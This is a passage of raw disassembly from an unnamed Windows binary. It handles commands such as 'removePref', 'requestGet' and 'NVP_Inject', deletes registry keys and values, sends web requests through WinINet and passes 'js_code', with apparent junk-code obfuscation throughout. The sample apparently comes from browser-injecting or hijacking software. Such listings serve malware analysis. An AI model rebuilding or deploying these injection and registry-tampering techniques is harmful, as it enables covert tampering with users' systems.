mov rdx, qword [rax]
mov qword [rsp + 0xb78], rdx
lea rcx, [rsp + 0x3a0]
call fcn.140003450
nop
mov r9, rbx
lea r8, [rsp + 0x2c8]
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x3a0]
call fcn.14004b0d0
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x3a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063e7d
mov rdx, qword [rsp + 0x590]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064029
mov rdx, qword [rsp + 0x5a0]
jmp 0x140064020
lea rax, [rsp + 0x5b0]
mov qword [rsp + 0xfd8], rax
lea rdx, [0x1401515e8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xb88], rax
lea rdx, [0x1401515f0]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xdd8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb98], rdx
lea rcx, [rsp + 0x2d8]
call fcn.140003450
nop
lea rdx, [0x1401515c0]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xf60], rax
lea rdx, [0x1401515c8]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xba8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xde8], rdx
lea rcx, [rsp + 0x348]
call fcn.140003450
nop
lea rdx, [0x14014f5c4]
lea rcx, [rsp + 0x5b0]
call fcn.140002240
mov rbx, rax
lea rdx, [0x1401515f8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xbb8], rax
lea rdx, [0x140151600]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xfb0], rax
mov rcx, rax
call fcn.14003a780
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401c1d58]
lea r8, [rsp + 0x2d8]
lea rcx, [rsp + 0x348]
call fcn.14004bb80
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x348]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063ff8
mov rdx, qword [rsp + 0x5c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064029
mov rdx, qword [rsp + 0x5d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x1400665d5
movzx eax, byte [rsp + 0x50]
jmp 0x140063b6e
lea rdx, str.removePref
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x1400647cd
lea rdx, [0x140151620]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xbc8], rax
lea rdx, [0x140151628]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xdf8], rax
cmp byte [rax + 8], 4
jne 0x140064719
lea rdx, [0x140151630]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xbd8], rax
lea rdx, [0x140151684]
mov rcx, rax
call fcn.14003b130
lea rcx, [rsp + 0x58]
test al, al
je 0x140064516
lea rdx, [0x14015168c]
call fcn.14003adf0
mov qword [rsp + 0xf70], rax
lea rdx, [0x140151694]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xbe8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe08], rdx
lea rcx, [rsp + 0x1c0]
call fcn.140003450
nop
mov rbx, qword [r14 + 0x50]
lea rdx, [0x1401516a0]
lea rcx, [rsp + 0x1c0]
call fcn.1400037d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xbf8], rbx
lea rdx, [0x14015165c]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xfe0], rax
lea rdx, [0x140151668]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xc08], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe18], rdx
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x100], eax
test eax, eax
je 0x14006429f
test r12, r12
je 0x1400641b2
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400641e4
mov rdx, qword [rsp + 0x5e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064213
mov rdx, qword [rsp + 0x5f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x14006422b
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x600], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140064276
mov rdx, qword [rsp + 0x600]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
lea rdx, [0x140151670]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xc18], rax
lea rdx, [0x140151678]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xf80], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc28], rdx
lea rcx, [rsp + 0x388]
call fcn.140003450
nop
mov rdx, qword [rsp + 0x388]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x830], eax
mov rcx, qword [rsp + 0x1b0]
test eax, eax
jne 0x14006433f
lea rdx, [0x14014f614]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0x100], eax
test eax, eax
je 0x1400643f7
test r12, r12
je 0x14006440c
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
jmp 0x14006440c
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ebx, eax
mov dword [rsp + 0x100], eax
test eax, eax
je 0x1400643f7
mov ecx, dword [0x1401c6d80]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0xa
jne 0x1400643e1
mov rax, qword [str.jfK9R3T8t7]
mov qword [rsp + 0x3c0], rax
movzx eax, word [0x1401516e0]
mov word [rsp + 0x3c8], ax
movzx eax, byte [0x1401516e2]
mov byte [rsp + 0x3ca], al
lea rax, [rsp + 0x3c0]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400643b4
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400cbef8
mov qword [rsp + 0xe28], rax
mov rcx, rax
call fcn.1400cd9ec
test r12, r12
je 0x14006440c
mov dword [r12 + 8], ebx
mov eax, 0x16
mov word [r12], ax
jmp 0x14006440c
test r12, r12
je 0x14006440c
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
mov rcx, qword [rsp + 0x1b0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rsp + 0x388]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x610], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006444d
mov rdx, qword [rsp + 0x610]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x620], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006447f
mov rdx, qword [rsp + 0x620]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x630], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400644ae
mov rdx, qword [rsp + 0x630]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x1400644c6
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
lea rcx, [rsp + 0x70]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
lea rdx, [0x1401516e4]
call fcn.14003adf0
mov qword [rsp + 0xc38], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xfc0], rax
cmp byte [rax + 8], 4
jne 0x14006463f
lea rdx, [0x1401516b8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xc48], rax
lea rdx, [0x1401516c0]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xe38], rax
mov rdx, qword [rax]
mov qword [rsp + 0x880], rdx
lea rcx, [rsp + 0x2f8]
call fcn.140003450
nop
lea rdx, [0x14014f5fc]
lea rcx, [rsp + 0x358]
call fcn.140002240
nop
lea rdx, [0x1401516cc]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x890], rax
lea rdx, [0x140151750]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0x8a0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8b0], rdx
lea rcx, [rsp + 0x2e8]
call fcn.140003450
nop
lea r8, [rsp + 0x2f8]
lea rdx, [rsp + 0x358]
lea rcx, [rsp + 0x2e8]
call fcn.14004a100
movzx ebx, al
mov byte [rsp + 0x79], al
lea rcx, [rsp + 0x2e8]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x358]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2f8]
jmp 0x1400646fa
lea rdx, [0x14014f644]
lea rcx, [rsp + 0x368]
call fcn.140002240
nop
lea rdx, [0x14014f674]
lea rcx, [rsp + 0x308]
call fcn.140002240
nop
lea rdx, [0x140151758]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x8c0], rax
lea rdx, [0x140151700]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0x8d0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8e0], rdx
lea rcx, [rsp + 0x390]
call fcn.140003450
nop
lea r8, [rsp + 0x368]
lea rdx, [rsp + 0x308]
lea rcx, [rsp + 0x390]
call fcn.14004a100
movzx ebx, al
mov byte [rsp + 0x79], al
lea rcx, [rsp + 0x390]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x308]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x368]
call fcn.1400022e0
test r12, r12
je 0x140064719
neg bl
sbb ax, ax
mov word [r12 + 8], ax
mov esi, 0xb
mov word [r12], si
mov r8d, dword [0x1401c6d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xb
jne 0x1400665d5
movsd xmm3, qword [0x140153e78]
movsd qword [rsp + 0x640], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x248], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
movsd xmm5, qword [0x140153ea0]
movsd xmm6, qword [0x140153e70]
nop
addsd xmm2, xmm3
movsd qword [rsp + 0x248], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x1400647b4
subsd xmm2, xmm3
movsd qword [rsp + 0x248], xmm2
divsd xmm3, xmm5
movsd qword [rsp + 0x640], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm6
ja 0x140064780
jmp 0x1400665d5
lea rdx, [0x140151708]
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
je 0x140065a20
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
je 0x140065a20
lea rdx, str.requestGet
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x140064ffa
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov r14d, 1
mov edx, r14d
lea rcx, [0x14014f72c]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
mov qword [rsp + 0x8f0], rax
lea rdx, [0x140151818]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x900], rax
lea rdx, [0x14014f6cc]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0x910], rax
cmp byte [rax + 8], 4
jne 0x140064ec6
test rsi, rsi
je 0x140064ec6
lea rdx, [0x140151820]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x920], rax
lea rdx, [0x14014f6dc]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0x930], rax
lea rdx, [rsp + 0x2de0]
mov rcx, rax
call fcn.14003a4f0
mov qword [rsp + 0x940], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400648d8
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140003450
nop
cmp qword [rsp + 0x2df8], 0x10
jb 0x140064901
mov rcx, qword [rsp + 0x2de0]
call fcn.1400cc890
mov qword [rsp + 0x2df8], 0xf
mov qword [rsp + 0x2df0], rdi
mov byte [rsp + 0x2de0], 0
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0xa0]
call fcn.14001b460
mov ebx, eax
mov dword [rsp + 0x228], eax
test eax, eax
jle 0x1400649f9
add ebx, 6
mov dword [rsp + 0x228], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0xa0]
call fcn.1400cf2b4
mov qword [rsp + 0x950], rax
test rax, rax
jne 0x140064973
mov eax, r15d
jmp 0x14006497e
sub rax, qword [rsp + 0xa0]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0xa0]
call fcn.14000f450
mov qword [rsp + 0x960], rax
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140002360
nop
lea rcx, [rsp + 0x650]
call fcn.1400022e0
lea rdx, str.js_code
lea rcx, [rsp + 0x258]
call fcn.140003450
nop
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0xa0]
call fcn.14001e0e0
nop
lea rcx, [rsp + 0x258]
call fcn.1400022e0
xor edx, edx
lea rcx, [rsp + 0x3d0]
call fcn.14003a020
nop
lea rdx, [0x14014f7d4]
lea rcx, [rsp + 0xe90]
call fcn.14003a100
nop
lea rdx, [0x14014f7cc]
lea rcx, [rsp + 0x3d0]
call fcn.14003adf0
mov rcx, rax
lea rdx, [rsp + 0xe90]
call fcn.14003a460
nop
lea rcx, [rsp + 0xe90]
call fcn.14003a3b0
lea rdx, [0x140151840]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x970], rax
lea rdx, [0x14014f77c]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0x980], rax
lea rdx, [rsp + 0x2f20]
mov rcx, rax
call fcn.14003a4f0
nop
mov rdx, rax
lea rcx, [rsp + 0xeb0]
call fcn.14003a190
nop
lea rdx, [0x14014f754]
lea rcx, [rsp + 0x3d0]
call fcn.14003adf0
mov rcx, rax
lea rdx, [rsp + 0xeb0]
call fcn.14003a460
nop
lea rcx, [rsp + 0xeb0]
call fcn.14003a3b0
nop
lea rcx, [rsp + 0x2f20]
call fcn.1400013b0
call fcn.140061250
test al, al
jne 0x140064b17
mov ecx, dword [0x1401c6d80]
mov edx, ecx
test ecx, ecx
je 0x140064b0d
dec edx
je 0x140064b05
inc ecx
mov dword [0x1401c6d80], ecx
jmp 0x140064b17
mov dword [0x1401c6d80], edi
jmp 0x140064b17
mov dword [0x1401c6d80], 2
lea rdx, [0x14014f7e4]
lea rcx, [rsp + 0xed0]
call fcn.14003a100
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x3d0]
call fcn.14003adf0
mov rcx, rax
lea rdx, [rsp + 0xed0]
call fcn.14003b100
nop
lea rcx, [rsp + 0xed0]
call fcn.14003a3b0
lea rdx, [0x14014f7f4]
lea rcx, [rsp + 0xef0]
call fcn.14003a100
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x3d0]
call fcn.14003adf0
mov rcx, rax
lea rdx, [rsp + 0xef0]
call fcn.14003a460
nop
lea rcx, [rsp + 0xef0]
call fcn.14003a3b0
mov eax, dword [0x1401c6d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x13
jne 0x140064bd9
call fcn.1400cd268
mov dword [0x1401c6d80], eax
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xf10]
call fcn.14003a100
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x3d0]
call fcn.14003adf0
mov rcx, rax
lea rdx, [rsp + 0xf10]
call fcn.14003a460
nop
lea rcx, [rsp + 0xf10]
call fcn.14003a3b0
mov qword [rsp + 0x660], rdi
lea r9, [rsp + 0x3d0]
lea r8, [rsp + 0x660]
mov rdx, rsi
lea rcx, [rsp + 0xf30]
call fcn.1400300d0
nop
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r8d, dword [0x1401c6d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 7
jne 0x140064ce2
mov ecx, edi
mov dword [rsp + 0x188], ecx
nop word [rax + rax]
mov eax, 0x44d72045
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x77
mov eax, r8d
sub eax, edx
cmp eax, 0xfe
je 0x140064cd9
mov eax, r8d
or eax, 0xffffff07
add r8d, eax
mov dword [0x1401c6d80], r8d
inc ecx
mov dword [rsp + 0x188], ecx
mov eax, r8d
imul eax, r8d
cmp ecx, eax
jg 0x140064cd9
jmp 0x140064c90
mov r8d, ecx
mov dword [0x1401c6d80], ecx
test r12, r12
je 0x140064de5
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x2d50], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x2d50], rax
mov qword [rsp + 0x2d68], rdi
mov qword [rsp + 0x2d70], rdi
mov qword [rsp + 0x2d70], 0xf
mov qword [rsp + 0x2d68], rdi
mov byte [rsp + 0x2d58], 0
mov byte [rsp + 0x2d78], 0
lea r8, [rsp + 0xf30]
lea rdx, [rsp + 0x2f00]
lea rcx, [rsp + 0x2d50]
call fcn.14003d6e0
mov qword [rsp + 0x990], rax
cmp qword [rax + 0x18], 0x10
jb 0x140064d6c
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x268]
call fcn.140003450
nop
lea rcx, [rsp + 0x2f00]
call fcn.1400013b0
mov rcx, qword [rsp + 0x268]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x834], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x9a0], rax
test rax, rax
jne 0x140064db4
call fcn.1400025d0
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
lea rcx, [rsp + 0x268]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2d50]
call fcn.14000b290
mov r8d, dword [0x1401c6d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 9
jne 0x140064e98
movsd xmm3, qword [0x140153e78]
movsd qword [rsp + 0x670], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x278], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
movsd xmm5, qword [0x140153ea0]
movsd xmm6, qword [0x140153e70]
nop word [rax + rax]
addsd xmm2, xmm3
movsd qword [rsp + 0x278], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x140064e84
subsd xmm2, xmm3
movsd qword [rsp + 0x278], xmm2
divsd xmm3, xmm5
movsd qword [rsp + 0x670], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm6
ja 0x140064e50
lea rcx, [rsp + 0xf30]
call fcn.14003a3b0
nop
lea rcx, [rsp + 0x3d0]
call fcn.14003a3b0
nop
lea rcx, [rsp + 0xa0]
call fcn.1400022e0
jmp 0x1400665d5
mov r8d, dword [0x1401c6d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 2
jne 0x140064f78
movsd xmm3, qword [0x140153e78]
movsd qword [rsp + 0x680], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x2a0], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
movsd xmm5, qword [0x140153ea0]
movsd xmm6, qword [0x140153e70]
nop dword [rax]
addsd xmm2, xmm3
movsd qword [rsp + 0x2a0], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x140064f64
subsd xmm2, xmm3
movsd qword [rsp + 0x2a0], xmm2
divsd xmm3, xmm5
movsd qword [rsp + 0x680], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm6
ja 0x140064f30
test r12, r12
je 0x140064f8d
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x48]
call fcn.1400022e0
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x140064fb0
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
lea rcx, [rsp + 0x70]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x140065023
test r12, r12
je 0x1400665d5
mov word [r12 + 8], r15w
jmp 0x140063b79
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x48]
call fcn.1400037d0
test eax, eax
jne 0x1400655cc
test r12, r12
je 0x1400665d5
lea rdx, [0x1401518d8]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x9b0], rax
lea rdx, [0x140151930]
mov rcx, rax
call fcn.14003b130
test al, al
je 0x14006557f
lea rdx, [0x140151938]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x9c0], rax
lea rdx, [0x14014f814]
mov rcx, rax
call fcn.14003b130
test al, al
je 0x14006557f
lea rdx, [0x140151940]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x9d0], rax
lea rdx, [0x140151910]
mov rcx, rax
call fcn.14003b130
test al, al
je 0x14006557f
lea rdx, [0x140151918]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x9e0], rax
lea rdx, [0x140151920]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0x9f0], rax
cmp byte [rax + 8], 1
jne 0x14006557f
lea rdx, [0x140151928]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa00], rax
lea rdx, [0x14014f834]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xa10], rax
cmp byte [rax + 8], 1
jne 0x14006557f
lea rdx, [0x140151968]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa20], rax
lea rdx, [0x140151970]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xa30], rax
cmp byte [rax + 8], 4
jne 0x14006557f
lea rdx, [0x140151978]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa40], rax
lea rdx, [0x140151948]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xa50], rax
lea rdx, [rsp + 0x2d10]
mov rcx, rax
call fcn.14003a4f0
nop
mov qword [rsp + 0x2b0], rdi
lea rcx, [rsp + 0x2d10]
cmp qword [rsp + 0x2d28], 0x10
cmovae rcx, qword [rsp + 0x2d10]
mov qword [rsp + 0xa60], rcx
mov rdx, qword [rsp + 0x2d20]
test dl, 3
jne 0x140065524
lea r8, [rsp + 0x2b0]
call fcn.1400221c0
mov byte [rsp + 0x99], al
test al, al
je 0x140065524
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0x118], rdi
mov rbx, qword [rsp + 0x2b0]
mov rdx, rbx
lea rcx, [rsp + 0x108]
call fcn.140033a20
nop
call fcn.140061250
test al, al
jne 0x1400652ef
mov r8d, edi
mov dword [rsp + 0x1f8], edi
mov ecx, dword [0x1401c6d80]
nop dword [rax]
test ecx, ecx
je 0x1400652ef
inc r8d
mov dword [rsp + 0x1f8], r8d
mov eax, ecx
and eax, 0x80000001
jge 0x14006528f
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400652a4
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov ecx, eax
mov dword [0x1401c6d80], eax
jmp 0x1400652b1
lea ecx, [rcx*2 + 1]
mov dword [0x1401c6d80], ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov edx, ecx
sub edx, eax
je 0x1400652d3
sub edx, 2
je 0x1400652dc
dec edx
je 0x1400652e4
jmp 0x1400652ed
add ecx, 2
mov dword [0x1401c6d80], ecx
inc ecx
mov dword [0x1401c6d80], ecx
add ecx, 2
mov dword [0x1401c6d80], ecx
jmp 0x140065270
mov qword [rsp + 0x2c0], rdi
cmp qword [rsp + 0x2d28], 0x10
jb 0x140065321
mov rcx, qword [rsp + 0x2d10]
mov qword [rsp + 0x690], rcx
test rcx, rcx
jne 0x140065331
mov rbx, qword [rsp + 0x108]
jmp 0x140065364
lea rcx, [rsp + 0x2d10]
mov qword [rsp + 0x690], rcx
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov rbx, qword [rsp + 0x108]
mov r8, rbx
mov rdx, qword [rsp + 0x2d20]
call fcn.140022240
mov byte [rsp + 0x98], al
test al, al
jne 0x1400653de
test rbx, rbx
je 0x140065389
mov rcx, rbx
call fcn.1400cc890
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0x118], rdi
lea rcx, [rsp + 0x2d10]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2cf0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x14006671a
mov rdx, qword [rsp + 0x2c0]
lea rcx, [rsp + 0x108]
call fcn.140033a20
lea rdx, [0x140151950]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xa70], rax
lea rdx, str.match
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xa80], rax
mov rcx, rax
call fcn.14003a780
mov ebx, eax
